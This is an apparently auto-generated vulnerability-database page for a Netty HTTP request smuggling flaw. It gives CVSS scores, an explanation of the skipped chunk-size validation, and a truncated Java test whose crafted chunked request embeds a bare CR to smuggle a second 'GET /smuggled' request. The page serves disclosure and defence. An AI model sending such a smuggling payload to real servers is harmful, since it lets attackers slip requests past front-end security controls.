CVE-2026-93566

medium

Assigned by CNA: redhat

Published 2026-09-18 · Modified 2026-09-18

Discuss on Community Propose mitigation

CVSS v3

6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.5

Description

### Summary Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling. ### Details `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present: ```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; } ``` According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A `chunk-size = 1*HEXDIG` ### PoC ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch

Predictions

Exploit likelihood

75%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

Propose a mitigation on Community Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

References

CWEs

CWE-1035

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.